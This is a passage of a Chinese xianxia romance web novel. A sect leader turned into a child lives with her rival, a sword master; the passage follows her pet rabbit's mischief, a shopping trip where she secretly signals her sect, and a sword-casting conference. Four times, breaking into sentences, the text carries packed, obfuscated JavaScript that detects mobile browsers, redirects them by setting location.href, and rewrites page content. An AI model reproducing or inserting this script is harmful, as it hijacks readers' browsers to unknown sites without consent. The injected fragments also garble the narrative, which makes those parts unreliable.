那兔子似是害怕谢无恙身上的气息,有些不安地转向糜月,两腿一蹬,从桌上跳到了她的腿上,埋头往她怀里钻。 “看来它挺喜欢你。”谢无恙眉眼舒展。 它喜欢我有什么用,我又不喜欢它。 感受到腿上传来的毛茸茸暖呼呼的触感,糜月的身子有些僵硬,她重新把兔子放到桌子上。 她从未养过宠物,也没想养过。 她不擅长照顾这些小东西,总觉得麻烦得紧,还会掉毛。 “你不喜欢?”谢无恙发觉她不自然的神色。 “当然……喜欢。” 糜月假惺惺地撸了一把兔子毛,毕竟她的人设是纯洁天真乖巧懂事的幼崽,怎么能吃兔兔呢。 她偷偷瞥了眼谢无恙,这人近日好似过于关心她的生活了,又是带她钓鱼,又是送她宠物养。 她看起来真的这么闲吗?她一天天忙着呢,哪有功夫养这兔子呀。 糜月觉得不是自己无聊,而是谢无恙闲着蛋疼。 她拿过茶盏,尝了一口谢无恙刚泡的茶,这茶闻着香,喝起来有一点苦涩。趁她喝茶的功夫,小兔子在桌上呆了没有片刻功夫,便又跳到了糜月的怀里。 破案了,这兔子不是喜欢她,只是单纯很怕谢无恙。 这人癖好养蛇,肯定身上也有一股蛇味,难怪不招兔子喜欢。 糜月放下茶盏,她可不像他这么有耐心,泡一壶茶能静坐着喝一天,反手捞起兔子,丢下一句:“我出去玩了”,矮小的身影瞬间消失在殿门口。 小姑娘头上绑着的发带随风轻晃,刚好和大殿挡风的门帘交映相融成一色。 “……” 谢无恙算是知道她这眼熟的发带是哪来的了。 难怪近日总觉得大殿有点漏风。 …… 糜月给那肥兔子起了个名字,叫“月饼”。 随她姓“月”,胖得像个饼,贱名好养活。 月饼有些黏人,糜月还怕它趁自己不在,跑到她床铺上捣乱拉屎,于是白天出门闲逛的时候,糜月也不忘把它带着。 兔子抱在怀里沉甸甸的,糜月抱了没一会儿就觉得胳膊酸,于是把它放在地上,让它跟着自己跑。 自从上次从侍从口中听到野菌子的消息后,糜月有事没事就会拉着那些在各院门口值守的侍从们聊天。 他们都是小道消息和八卦的来源,打好关系,总有用处。 四岁的小姑娘软萌可爱,会甜甜地叫哥哥姐姐,侍从们都很喜欢她,有时候还给她的兜里塞糖。 糜月刚和一个侍从聊了两句话,没想到一转身的功夫,原本蹲在她脚边的月饼却不见了。 “月饼?月饼?” 糜月弯腰扒拉着草丛,她在附近找了两三圈,找得额头和鼻尖都被晒出了汗,都没有找到月饼的身影,顿时有点不耐烦起来。 她心想,找不到就算了,回头跟谢无恙说,是它自己跑丢了。 就当糜月准备放弃寻找回去时,月饼从一个眼熟的狗洞里钻出来,三瓣兔嘴旁还挂着一缕没啃完的菜叶子。 糜月蹲下身子,朝那狗洞里看了一眼,心下了然。 这家伙竟然跑到人家院子里偷菜吃去了。 糜月把月饼抱起来,没好气地捏了捏它的耳朵,一边往回去的方向走,一边没好气地吐槽:“嘴巴这么馋,也不知道随了谁!” …… 司徒衫给弟子们上完早课,回到府中,前脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“呸,你可真是睁眼说瞎话,内院里哪来的田鼠,还攀扯到悬海阁的身上,那兔子还会看人下菜碟不成?绕了半个内院,就为了跑到我家偷吃灵菜?你这老不羞的,敢做不敢当,赔我灵植灵菜!” “司徒长老,我平日敬你三分,是看在前宗主的面子上,你可别蹬鼻子上脸!” “我蹬鼻子上脸,我看你才是敬酒不吃吃罚酒,糟蹋了我的园子你还有理了?!” “怎地,你还想动手啊!” “来啊,老夫好久没活动筋骨了,谁怕谁!” 两个长老骂红了眼,当场大打出手,烂菜叶子漫天乱飞。 …… 第二天,糜月经过内院,听到两个侍从在低声议论。 “你听说了没,昨日玄机子长老和司徒长老干了一架,打得可凶了,差点掀翻了屋顶,司徒长老的脸上还挂了彩。” “我说呢,今天司徒长老的眼睛咋成了熊猫眼,他们为何打架啊?” “听说是玄机子长老养的药兔把司徒长老的菜园给啃秃了皮了。” “原是如此,难怪……司徒长老最宝贝他的灵植,这不得气疯了?” “……” 糜月一把将月饼摁进怀里,以袖遮挡,讪讪路过。 14.第 14 章 得知月饼闯下的祸事后,糜月没敢再带它跑去长老们的洞府附近溜达。 先避过这阵风头再说…… 月饼除了贪吃了点,倒是比她想象中得好养活。 它爱吃新鲜蔬菜,也吃水果,甚至还吃花生核桃和杏仁。有时候糜月忘记喂它了,它会自己跑去院子里找野草吃。 糜月找来一个蒲团,上面铺了点柔软的稻草,给它当兔子窝,月饼从来不睡,就喜欢钻她的被窝。每天清晨,糜月都被它舔脸颊舔醒,简直比公鸡打鸣还要准时。 几天下来,倒是让她养成了早睡早起的好习惯。 这日,糜月蹲着在给月饼喂食。 她手里拿着一根比她手臂还长的苜蓿草。月饼吃得极快,在它蠕动的三瓣嘴中,苜蓿草转眼就消失得一干二净。 糜月还没有反应过来,犹自望着地面出神发呆,直到手指被月饼嘬了一口,她才轻轻地“呀”了一声,连忙把手指抽回。 所幸月饼没有咬下去,手指只是有点微痛的泛红。 糜月搓了搓手指,轻敲了下月饼的脑壳:“蠢兔子,草和手指都分不清?” 再敢咬她,就把它做成凉菜。 谢无恙在旁边看到了这一幕。 小姑娘似乎还是蔫蔫的模样,竟然连小兔子这种萌物杀器,都没法让她提起兴致来。 殊不知糜月的一门心思都在找功法上,功法毫无头绪,她如何开心得起来。 谢无恙合上手中的书卷,忽然开口问她:“今日我要去山下玉京城中,你想不想同去?” “下山?”糜月支棱起耳朵。 她本来不想去,但转念想到自己如今离开烬花宫已经半个多月了,虽然离开时留下了信,但副宫主们肯定很担心她的安危。 玉京城中有一处烬花宫的隐蔽据点,她倒可以借此机会,给她们传个消息报平安。 糜月立马拍拍手站起身来:“去,我要去。” …… 玉京仙山脚下,玉京城。 玉京城是隐剑宗辖地的城池,经常会有修士往来歇脚,各色灵舟法器都在城外降落停靠。 随着灵舟平稳地停在空地宽阔的城外,糜月从灵舟上跳到地上——上回小姑娘说不喜欢他提衣领,谢无恙便控制灵舟紧贴着地面,这个高度,足够她自己蹦下来。 谢无恙带着小姑娘一路进了城,在繁华喧闹的街道上逛着。 糜月颇为新奇地看着两边的摊位,这是她第一次来玉京城。 这里因为和烬花宫气候、环境、习俗完全不同,所以摊位上卖的许多吃食和物件,她从未见过。 好比她右前方的一家卖鱼摊,摊位上竟然只摆着一条大鱼,那大鱼的体型堪比野猪大小,摊主手起刀落,将鱼分剁成了十几块。 光顾鱼摊的客人就买上那么一块鱼肉,回去都足够一家人吃了。 “唔喔……” 谢无恙低头看着小姑娘因为稀奇而微微睁大的杏眼,顺着她的视线,看到那家卖鲛鱼的摊位,问她:“想吃?” 糜月摇头拒绝:“不想,这么大的鱼,肉肯定不好吃。” 她只是瞧个稀奇,这阵子,她吃鱼都快吃腻了。 糜月越过鱼摊,又发现一家卖发簪饰品的摊位,和扶桑城特产的珠玉类发簪不同,这里摆出来的发饰竟然都是用五颜六色的丝线,缠在柔韧的琼枝上编制而成的。 虽然不似她平日带的那些珠翠贵气,但是胜在巧思精美。 看见漂亮的首饰,糜月就走不动道了。 谢无恙会意上前,在摊位前扫了一圈,修长的手指挑出一对银粉色的蝴蝶珠花。 “这个,可还喜欢?” “……” 糜月简直不想吐槽谢无恙的审美,怎么就能精准地选到最难看的? 这是什么死亡贵妃粉,她就是套个麻袋在脑袋上,也不会戴颜色这么俗气的珠花。 摊主十分热情,生怕卖不出去似的,飞快地将那两对珠花一左一右地卡进糜月的发包里,然后递上一块铜镜。 “客官眼光真不错,瞧瞧,好看着呢!” 糜月正要发火,无意朝铜镜看了一眼,目光顿了顿,又悄悄瞟了两眼。 这珠花若戴在成年女子头上,的确艳俗得很,可若戴在小孩子头上,这个颜色反而格外适合,显得俏皮又提色,衬得她脸蛋粉扑扑,像新鲜水嫩的水蜜桃。 糜月自己看着都觉得可爱,傲娇地一点头。 “那……就,就这个吧。” 不知是不是她的错觉,在她点头时,好似看到谢无恙的唇角闪过一道稍纵即逝的笑意。 “再多挑一些。” 谢无恙显得很有耐心,对上小姑娘有些意外的表情:“之前斩断了你一条裙子,今日你看中什么便买什么,当做补偿。” 还有种这好事? 糜月眼睛一亮,这厮怕是不知道她逛街的战斗力,她每每下山逛一次集市,扶桑城的摊贩们都能富三年。 你就笑吧,一会儿有你哭的! 于是她便不再客气,上前挑选喜欢的珠花。 摊主见遇到了大客户,连忙热情招待,糜月一边挑选,他一边补货,把各种压箱底的货都拿了出来。 《单身男修育儿指南》卷三:欲使稚子欢心,于物欲之给养,亦不可缺也。 这句话和另一句流传甚广的俗语有异曲同工之意:男儿当穷养,女儿家当富养。 先前,他不太能体会两者的区别,直到留意到小姑娘的发带后,他这才发觉小姑娘的爱美心——哪怕用门帘的布条,都要把自己打扮得漂漂亮亮。 谢无恙有些自责自己的粗心大意,于是今日的下山就是专程为了给小姑娘置办衣裙首饰。 一连逛了好几个首饰摊位后,糜月心满意足,收获颇丰,连抱着的月饼脑袋上都多了一条鲜花编的小花环。 糜月心下欢喜,就连脚步都轻盈了几分,腹诽这人可算做了一件让她顺心的事了。 不过她也没占他的便宜,那条被他弄坏的裙子都能买下这整条街了。 糜月逛归逛,一直没忘记此行下山的正事,瞥了眼身边寸步不离的某人,她脑筋一转,停下脚步。 在谢无恙看过来时,小姑娘偏头绞着手指,露出一点为难的神色。 “我……那个……有点内急。” “……”谢无恙道,“那我们现在回去?” “憋不住了,”糜月的小手往旁边一指,“那边有路厕,我去去就回来。” 话音落,便把月饼往他怀里一塞,提着裙子便往路厕的方向跑去。 糜月捏着鼻子跑进路厕旁边,借着拐弯处的死角,迅速捡起脚下的一块碎石,偷偷在墙根处画下了一个特殊的记号。 烬花宫用来传递信息的暗号有上百种,且只有自己人才能辨识。 糜月画完后,忙丢下石头,又磨蹭了一会儿,装作刚从路厕出来的模样,跑去找谢无恙汇合。 她看到月饼蹲在谢无恙的掌心里,瑟缩成一团,还保持着她先前塞在他手里的姿势,一动不敢动,才想起来月饼惧怕谢无恙这回事,连忙伸手想把它抱回来。 谢无恙托着月饼的手却往后一撤,熟悉的竹青色手帕塞进了她手中。 “擦擦手。” “……” 毛病真多。 糜月一边腹诽,一边老实地接过来擦了擦。 她见谢无恙并未起疑,把手帕还给他时,顺手抱回月饼,仰头说道:“我还要买几条裙子。” “好。”谢无恙轻轻点头。 糜月下定决心,今日要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14188123|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛宰谢无恙。 越往里走,集市上的人越多,糜月个头太矮,险些被一个喝醉了的壮汉撞到。糜月自己也没看见那个醉汉,注意力全放在了旁边的摊位上。 谢无恙眼疾手快地从后面伸手拉住她,把她往自己身边带了带。 带着微微的薄茧的宽大手掌包住了她的手。 “当心。” 清沉端方的嗓音响在头顶,感受到背后似乎撞上了他的腿,糜月身体一僵。 似是担心她再被人群撞到,谢无恙再也没松开手。 糜月挣动了两下,没挣开,她忍下不适感,只好由他牵着走。 她总觉得他手心的温度比常人更低一些,像一块透心彻骨的寒玉,更让她想到了蛇那种没有感情的冷血生物。 为了功法和漂亮裙子,她真是牺牲了太多…… 糜月压下那怪异的感觉,走着走着,一个年轻的男修忽然拦在了他们面前,面庞涨红,眼睛直勾勾地盯着谢无恙,右手按在剑柄上,嗓音也因激动而微微颤抖。 “你可是东极剑尊?” 糜月眨巴眨巴眼,看了看男修,又看了看谢无恙。 什么情况,来找他寻仇的? 谢无恙像习以为常般轻点了点头:“嗯。” 糜月皱起小眉毛,这人是不是傻,明知是寻仇的,还直接承认了。 她又扫了眼面前的男修,修为刚刚结丹,就这点子修为还来找谢无恙寻仇,怕不是来送人头的? 见谢无恙承认,那人明显更激动了,直接抽出了腰间的灵剑,一个大跨步上前。 糜月连忙一个滑步躲在了谢无恙身后,你们打归打,可不要殃及她这个无辜的小池鱼啊。 眼见那男修气势汹汹地走到谢无恙面前,以掩耳不及盗铃之势——朝他深深鞠了一躬,双手将灵剑举过头顶奉上,闭眼红着脸大喊道。 “我仰慕您很久了,不知方便不方便帮我签个名,就签在这剑柄上就行!这剑也是我仿造您的无为剑的样子锻造的,没想到今日,终于得见您本人了呜呜呜……” “???” 糜月惊呆了。 不是,怎么逛个街还能遇到谢无恙的狂热崇拜者啊?她以前在琼山逛街的时候,怎么没人找她要签名啊? “……” 谢无恙则将灵气汇集指尖,以指做笔,当真给他在剑柄上签了名字。 男修夸张的表现引来了越来越多的修士经过驻足。 “真是东极剑尊啊!” “天啊,他不是一直在悬海阁隐居吗,怎么会遇见他!” “我可不可以也要一个签名?” “我也想要。” “剑尊您写的《剑意悟言》我看了好多遍,这次能突破金丹,多亏了这本书,能在这本书上帮我签个名吗?” “剑尊您当初来过我宗讲道,我都用留影石记录下来了,一直反复观摩学习,真是受益匪浅!” “……” 越来越多的人围上来,糜月眼睁睁地看着集市街道,瞬间变成了大型追星现场和剑道研讨会。 糜月双手环胸背过身去,酸溜溜地鼓起包子脸。 这些剑修也太会拍马屁了吧,真是一点都听不下去! 她的烬花功法也很厉害的好吗,只是传女不传男而已,这些人可真没眼光! 殊不知吵嚷拥挤的人潮外,一个打扮寻常低调的女修同他们无声地擦肩而过。 女修的目光在扫过糜月额头的烬花额纹时,停顿了一息,随后毫无异样地移开。 直到与他二人渐行走远,女修经过路边的路厕时,瞥见墙根处糜月留下的记号。 女修面色一变,立刻上前查看,待仔细确认后,女修眼中闪过震惊之色,随即快步消失在人群之中。 …… 15.第 15 章 就在糜月快被谢无恙的狂热粉挤出去时,谢无恙伸手捞住她,扯回自己身边,同时朝众人歉然道。 “今日谢某还有事,不便多留。隐剑宗不日即将举办铸剑大会,届时诸位可前去交流论道。” “好,我宗也收到了请帖,届时一定去!”有修士高声应和。 没有要的签名的人面露遗憾,依依不舍,但又不好意思再继续打扰,默默目送谢无恙拉着糜月远去。 谢无恙带着糜月总算脱离了人群的围堵,二人继续走在街道上,谢无恙看到街旁有个卖冰糖葫芦的小贩,身边围了许多像月月这样的小孩子,于是问她:“吃糖葫芦吗?” “不吃。”糜月扭过头去。 她以往走到哪里,都是人群的焦点,什么时候做过别人陪衬?今日那些谢无恙的狂热粉,都快把她挤成肉饼了。 糜月瞟了瞟身旁玉身长立的谢无恙,心里有点不是滋味。 他还写书?还跑到别人宗门里讲课? 同样是无涯学宫里出来的学子,他在外受人爱戴,人人尊称一声“东极剑尊”,而她呢,仇家遍地,人人见了都要忿恨地喊一声“妖女”。 糜月心里感觉到有一点点落差。 再想到自己现在是个小屁孩的身体,要胸没胸,要屁股没屁股,被人轻轻一推就能在地上滚两圈,就很烦。 “真的不吃?”谢无恙又问了一遍。 “不吃!” 糜月化愤怒为力量:“我要去买裙子!” 二人紧接着来到一家专为修士定做衣物的成衣铺子。 修士们所穿的衣物布料非同凡物,穿起来既轻薄贴身,又有些防御功效,还可以在衣服内侧纹上净尘法阵,能常年保持洁净,免去了浣洗的繁琐,当然价格也更贵。 掌柜起先还以为是谢无恙来做衣服,拉着他热情地推荐了半天,直到见他清咳一声,才顺着他的视线,发现还没有柜台高的糜月。 “抱歉啊客官,我们这大多是成衣,没有小孩能穿的款式,要想要的话,得定制现做。” 他家铺子价格不菲,光顾的都是年轻有为的修士,鲜少有人给小孩子定制这么贵的衣裳。 “那就量一量,现做几件。”谢无恙道。 掌柜于是拿着软尺,量过糜月的身高尺寸,之后便交给裁缝动手开始裁制。这家店铺的款式种类很多,还可以定制纹样,糜月还算满意。 她看了看在茶桌旁闲坐的谢无恙,随口问他:“你不做几件衣服吗?总是穿白衣,也太丑了……” 像要奔丧一样。 丑? 谢无恙一愣,还是第一次听旁人对他说出这个字眼。 他低头看了看自己洁净如雪的衣袍,薄唇轻抿:“真的……丑?” “太单调了,”糜月指了指一件玄色成男款式的外袍,对襟的领口宽袖束腰,上面用金线绣着盘螭纹,很大气的款式,“你可以试试玄色,” “那件暮山紫的,还有那件雀梅青的,都挺适合你。”糜月的小手指指点点。 她在穿搭上颇有研究,她平日穿得宫装长裙都是专门定做的,花样款式独一无二,每一件被她穿过的裙子款式、画过的妆容,过不了几天,就能带动整个西境的流行风尚。 这人觉不着自己的穿搭单调,天天委屈得是她的眼睛,来都来了,不买两件怎么说得过去。 谢无恙向来不在意外貌衣着,平时着衣只要洁净舒适就行,但小孩子总不会撒谎,他开始真的怀疑自己穿白衣会不会有些丑了,于是按照自己的身量尺寸,把她方才说过那几件衣物都各买了一件。 店铺内几个裁缝伙计齐齐上场动手,裁衣制成还得好一会儿,小姑娘等了两刻钟,便不耐烦地从椅子上跳下来道:“不等了,我要去逛下一家。”说完就往店外走。 谢无恙无奈地搁下一袋子灵石,对掌柜道:“衣裳做好后,送去隐剑宗。” …… 直到黄昏垂暮,余晖渐渐隐没空山,最后一缕晚霞被暮色浸染。 二人才登上回程的灵舟,糜月连着逛了三个时辰,逛的时候方不觉得累,但一坐下,困倦感袭来,就这么趴在灵舟上歪倒睡着了,手里还握着一根啃了一半的糖葫芦。 谢无恙静默地坐在她身侧。 此刻万籁俱寂,星河初现,灵舟宛如一艘行驶在无边海域的小船,扁叶孤舟,飘飘荡荡。 隐秘的月色如银粉般落下,照映在小姑娘柔软粉雪的脸蛋上,连月光都变得温柔。 她这次似乎做得是个美梦,嘴角隐隐地上翘着,呼吸似羽毛般轻柔,发包间那两对银粉色的蝴蝶珠花随着拂过的微风,蝶翼如展翅般轻颤。 月饼趴在她的肚子上,蜷缩成比她更小的一团,同样睡得很香。 谢无恙看着这一幕,心静如水,心绪前所未有的平和。 今日小姑娘在摊位上欢喜挑选衣裙首饰的模样,让他又想起幼时在无涯学宫的那些日子。 她也爱穿颜色鲜艳明亮的衣裙,日日都不重样,头上戴着的珠翠也是频频变着款式花样。 她的喜好纯粹直白,就喜欢一切漂亮华美,赏心悦目的东西。 可她不知道,她自己才是无涯学宫里最耀眼的一抹色……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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经过几日的钻研学习,谢无恙发现养孩子这件事,远比修炼要难得多得多。 书上得来终觉浅,以后的日子怕是任重而道远。 灵舟降落至悬海阁后,谢无恙单手抱起小团子飞下灵舟,另一只手掐着防护法诀,一路拾阶而上,徐徐往殿内走去。 守在悬海阁阶下的侍从们见状,本来想上前帮忙接过糜月,抱孩子这种事怎么能让剑尊亲自动手呢? 但见到谢无恙未曾停顿的步伐和视若无睹的眼神,侍从们又很识趣地收回手默默退下。 谢无恙将糜月送回她的寝殿内,小姑娘的脑袋一挨上枕头,一翻身睡得更香了,他弯腰帮她脱了鞋袜,盖好被子安置好后,返回了自己的寝殿。 窗外的雨声淅淅沥沥,汇聚成雨线滴落屋檐,谢无恙看着清冷的殿宇和未灭的灯火,自知依旧又是无眠的一夜。 不过今晚,那个在玉京城中见过他们的烬花宫探子,应该会将这孩子在他这里的消息带回烬花宫罢? …… 16.第 16 章 西境十六洲,烬花宫。 如今距离糜月失踪已经过去了大半个月。 廖红叶将十二副宫主都聚集了起来,在她的管理下,烬花宫仍像往常一样秩序井然,消息封锁得很严,弟子们还不知道宫主失踪的事,倒是他们这些副宫主们,各个度日如年,心焦如灼。 “廖师姐,你把叫我们过来,可是宫主有消息了?” 有耐不住性子的副宫主出声询问。 廖红叶没回应她的话,面向众人道:“昨日,隐剑宗差人送来帖子,说邀我宗前去观赏下个月初的铸剑大会。” “哈?隐剑宗给我们递帖子?这不是明晃晃的黄鼠狼给鸡拜年?” “上次铸剑大会,宫主带我们去闹事,他们定是记着仇,这回肯定不怀好意,邀我们去鸿门宴呢。” “宫主不在,我看我们还是不去为妙……” 副宫主们七嘴八舌地热议,廖红叶屈指敲了敲桌面:“大家冷静一些,听我说完。” “我们安插在玉京仙山的探子传来消息,在山下的玉京城发现了宗主留下的暗号。” “宫主果然在玉京城!我就知道宫主失踪此时跟隐剑宗脱不了干系。” “宫主可是留了求救暗号?我现在就带人杀去玉京城!” 廖红叶安抚众人:“宫主给我们报了平安,眼下安然无事。” 闻言,众副宫主们纷纷长松了口气。 烬花宫的专属暗号只有自己人才认得,如果宫主身处危险又能留下暗号,那留下便会是求救记号了,眼下传回的是平安的消息,证明宫主确实无恙。 众人放下心来的同时,又有些疑惑不解。 “那宫主既然无事,那为何不回宫?” “宫主可是被什么棘手的事绊住了?” 迎着众人的目光,廖红叶硬着头皮继续道:“东极剑尊前些日子带了一个小女孩回宗,额头有烬花宫的额纹。有传言说,那孩子是他和……宫主所生。” 众人倒吸气的声音响彻大殿,继而伴随着愤怒地拍桌声。 “这怎么可能?” “哪里来的谣言,简直太离谱了!” “我们宫主和东极是死对头,怎可能和他有染,还蹦出来个孩子?” 副宫主们都不是好脾气的性子,火气都快冲破了殿顶。 廖红叶没制止,转眼看向坐在她右手边的红衣少年。 她们虽身为副宫主,但时常会外出执行任务,不常陪在宫主身边,最了解糜月的人,只有沈灵淇。 “此事子虚乌有,绝不可能。”沈灵淇果断道。 他常伴在糜月身侧,她的衣食住行,每一样都是他亲手置办,连每日传膳铺床,都是他侍奉在前。 她绝不可能怀过孕,还生下来个孩子。 半月不曾有糜月的消息,沈灵淇本就心绪郁结,好不容易听到糜月安然无恙的消息,又冒出这样可恨的传言。 少年薄利的眼皮轻抬,眼底划过凌厉的暗芒,尚为清透的嗓音口吐恶言。 “谣言是从哪传出来的?此人竟敢败坏宫主的名声,合该千刀万剐,死不足惜!” 沈灵淇话音落,十二副宫主都默契地沉默了。 有一说一,咱们宫主那名声还需要败坏吗?好像也不能更坏了吧? 传出这样的谣言,明显是东极剑尊更吃亏一些。 “我们在玉京城的探子传信说,她亲眼在城中见过那孩子跟谢无恙走在一起,举止亲昵如同父女,且那孩子的样貌与宫主极其神似,额头还有我宗的额纹……” “所以这铸剑大会得去,我带人亲自去,”廖红叶沉声道,“正好借此机会确认一番,那孩子的事到底是真是假。” 沈灵淇也冷静了下来,他思忖片刻,抬眼看向众人:“宫主如今不肯露面,冒然带人去隐剑宗,万一发生冲突,恐难以收场。我有一计,或许有用……” “沈侍宫尽管直言。” 见众人皆望过来,沈灵淇便低声把想到的计划细说了一番。 廖红叶认真听完后很是惊讶,心道,难怪此人能陪伴在宫主身侧多年,这个沈侍宫的确……有些手段。 …… 翌日。 糜月糊里糊涂地被月饼舔醒,她从床榻上打着哈欠坐起来,摸到身上的小被子时,神色一愣。 她发觉自己变成小孩子后,不仅胃口变好了,还多了个倒头就能睡着的毛病,不过神奇的是,不管她在什么地方睡着,第二天总是能从自己的床上醒来。 糜月没有纠结于此,反正不是谢无恙就是侍从送她回来的。 她起身打开衣柜门,看到一排整齐挂起的漂亮小裙子,拉开抽屉,又是满满当当的珠花头饰,瞬间点亮了她一整天的好心情。 这样的衣柜才配叫衣柜哇。 糜月把自己收拾得漂漂亮亮,用过早膳后,抱着月饼出门遛食。 她感受到隐剑宗近日似乎有大事要发生,在剑池旁边上练剑的弟子们都变少了,时不时还有穿着别宗道袍的修士出入内院,到处都洋溢着一种紧绷又热闹的氛围。 就连程令飞和夏沥都好几日没来找她了。 糜月才不是想让他们来找自己,他们不来骚扰她,她乐得清闲,只是单纯有些好奇,这些弟子平日里不练剑都在做什么? 于是脚步一转,走到后山处一片相连的竹屋旁。这些竹屋是给弟子们平日炼丹、打坐、休憩用的,此时全都此起彼伏地响起了叮铃哐啷的打铁声。 糜月抱着月饼,慢悠悠地走过竹屋,透过一扇扇竹窗,她看到一个撸起袖口将锤子砸得邦邦响的憨愣身影,似曾相识。 她一个急刹,往后倒回几步。 “你们在干什么?” 软糯清澈的童音传来,程令飞和夏沥齐齐停下动作,前者大喇喇地笑道:“咦,小不点你怎么来了,是不是想哥哥啦?我们在煅剑,没见过吧?” 后者则放下手里的铁铸模具,想去给她开门:“月月,不进来吗?” 糜月摇摇头:“我就随便看看。” 她就这么抱着月饼,踮脚趴在窗边,继续探着头纳闷地问:“煅剑做什么?” “铸剑大会就快到了,所以要提前练习一下。”夏沥耐心地同小团子解释。 “你知道是什么铸剑大会吗?” 铸剑大会…… 糜月眉毛轻挑,她似乎也听谢无恙说起过这个大会。 好像在十年前,隐剑宗也办过什么大会,她带弟子们来找茬搞事,跟隐剑宗打了一架。 当时她和谢无恙在结界外过招,打得不可开交,底下围了许多门派在看热闹。她和谢无恙打了整整一天一夜,也没分出胜负,但成功地把那场大会给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204729|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搅黄了。 “铸剑大会是我宗的传统盛会,会有很多门派前来,可热闹了,到时候哥哥带你去看。” 程令飞呲着一口白牙对她笑了笑,说完又低头看了看手里的刚煅打出来剑刃,心里没谱,问夏沥:“师姐,你看我这能行吗?” 夏沥搭眼一看,轻轻皱眉:“你怎么能煅得这么丑?” 能把剑刃煅得像狗啃似的,也是一种本事。 糜月也看不下去,问他:“你上次带回来的那块木头呢?” 程令飞知道她在问那块从西境琼山带回来的转星木:“那转星木我打算留着做剑柄,就只有一块,我舍不得用,要留到铸剑大会上用的。” 糜月见他对一块巴掌大的转星木,如此抠抠搜搜紧紧巴巴,实在看不过眼。 不就是转星木吗?早知道送他一个自己不用的泡脚桶,拆了能有几十块。 “还有那剑柄,我还没想好雕什么花纹……” 程令飞挠挠头,他不舍得用转星木,便随手拿了几块普通的木料,打算先雕几个练练手。 他环顾四周,看到糜月放在窗台上的小兔子,肥墩墩圆滚滚,很是灵动可爱。 “就它了!我的幸运兔神!” 程令飞好像瞬间有了灵感,举起刻刀,对着月饼开始在木头上雕刻。 月饼来到了新环境,有些警惕,时不时地竖起耳朵,或者直立起上半身左右环顾,程令飞刻到一半,有点崩溃:“小不点,能不能想个办法,让它不动啊?” 糜月摊摊手:“我能有什么办法?不过月饼贪吃,它最喜欢吃灵草灵果。” 于是,程令飞用半斤灵果,换来了月饼一刻钟的安分。而旁边的夏沥时不时地看向糜月,手中刻刀轻轻转动。 程令飞雕刻完剑柄,糜月探头一看,啧了一声。 这雕工实属难评。 难怪他能把后山那座丑了吧唧的蛟龙石像当宝贝。 夏沥更是毫不吝啬地打击他:“是怎么做到能把兔子雕成□□的?” “师姐,你……”程令飞捂着胸口。 “剑柄纹饰只是为了美观,你雕工不精,何必强求?” 程令飞面上挂不住:“那让我看看你的。” 夏沥将手掌摊开,剑柄上雕着一个梳着双环发包的小女孩,圆润可爱的脸蛋,杏眼炯炯有神,笑趴在窗台眯眯地支着腮,身后还衬着几朵灼灼盛开的桃枝,简直刻得惟妙惟肖。 “夏沥姐姐,你真有品味!” 糜月朝夏沥比出一个大拇指,笑眼弯弯。 这把印有她肖像的剑今后肯定值老多钱了。 虽说她堂堂烬花宫主,容颜尊贵,不能让人随意摹画,不过看在她这么有眼光的份上,她就不计较了。 程令飞深受打击,抱着一堆木头,坐在一旁苦练雕工。 糜月问夏沥:“你们方才说的铸剑大会是什么时候?” “两日后。” 对于打听蛟龙的事儿,糜月已经放弃了,谢无恙那家伙油盐不进,她也不指望能从他嘴里得到什么有用的消息。 或许等到满月之时,自然会有头绪。 糜月掰着手指算了下日子,即将迎来的第一个满月,正好是在铸剑大会结束后的第三日。 隐剑宗忙着举办大会,肯定人手不足,正是她偷找功法的好时机。 17.第 17 章 转眼就到了铸剑大会举办的日子。 糜月还没被月饼用洗脸大法舔醒,就被一阵敲门声吵醒。 她迷迷糊糊地问:“谁啊?” “月月,快些起床了,再不去就赶不上了。”程令飞的声音传进来。 糜月用被子蒙头:“我不想去,困……” “师叔让我一定把你叫去,你再不起,我就闯进去了嗷。” 她本来就没打算去凑热闹,原计划趁着大家都在关注大会,她好再溜进几个长老洞府找找线索。 但程令飞敲门敲得她实在心烦。 想想上回的铸剑大会,她光顾着来找茬打架了,也没见过是个什么场面,不如跟着去看看,说不定也套到跟功法有关的消息。 她在程令飞的催促声中慢吞吞地爬起来,洗脸漱口,挑了一件中意的鹅黄色羽纱襦裙换上,梳好头发,又选了一对同色的珠花流苏,才磨磨蹭蹭地抱着月饼,跟着他出门了。 铸剑大会举办的地方就在弟子们平日练剑的荷花池旁边,在谢无恙建议盛办的影响下,这次大会的排场空前的盛大。 除去中央给弟子们预留铸剑的空地,一排排八仙矮案层层延展,一眼望不到头。 糜月一到场,搭眼就瞅见了坐在正中显眼位置的谢无恙。他今日穿着那日在玉京城中成衣铺子里,她挑得那件玄色纹金的对襟外袍,容貌本就鹤立鸡群的他,被这衣服一衬更扎眼了,她不注意都难。 后者抬袖朝她招了招手,示意她过来。 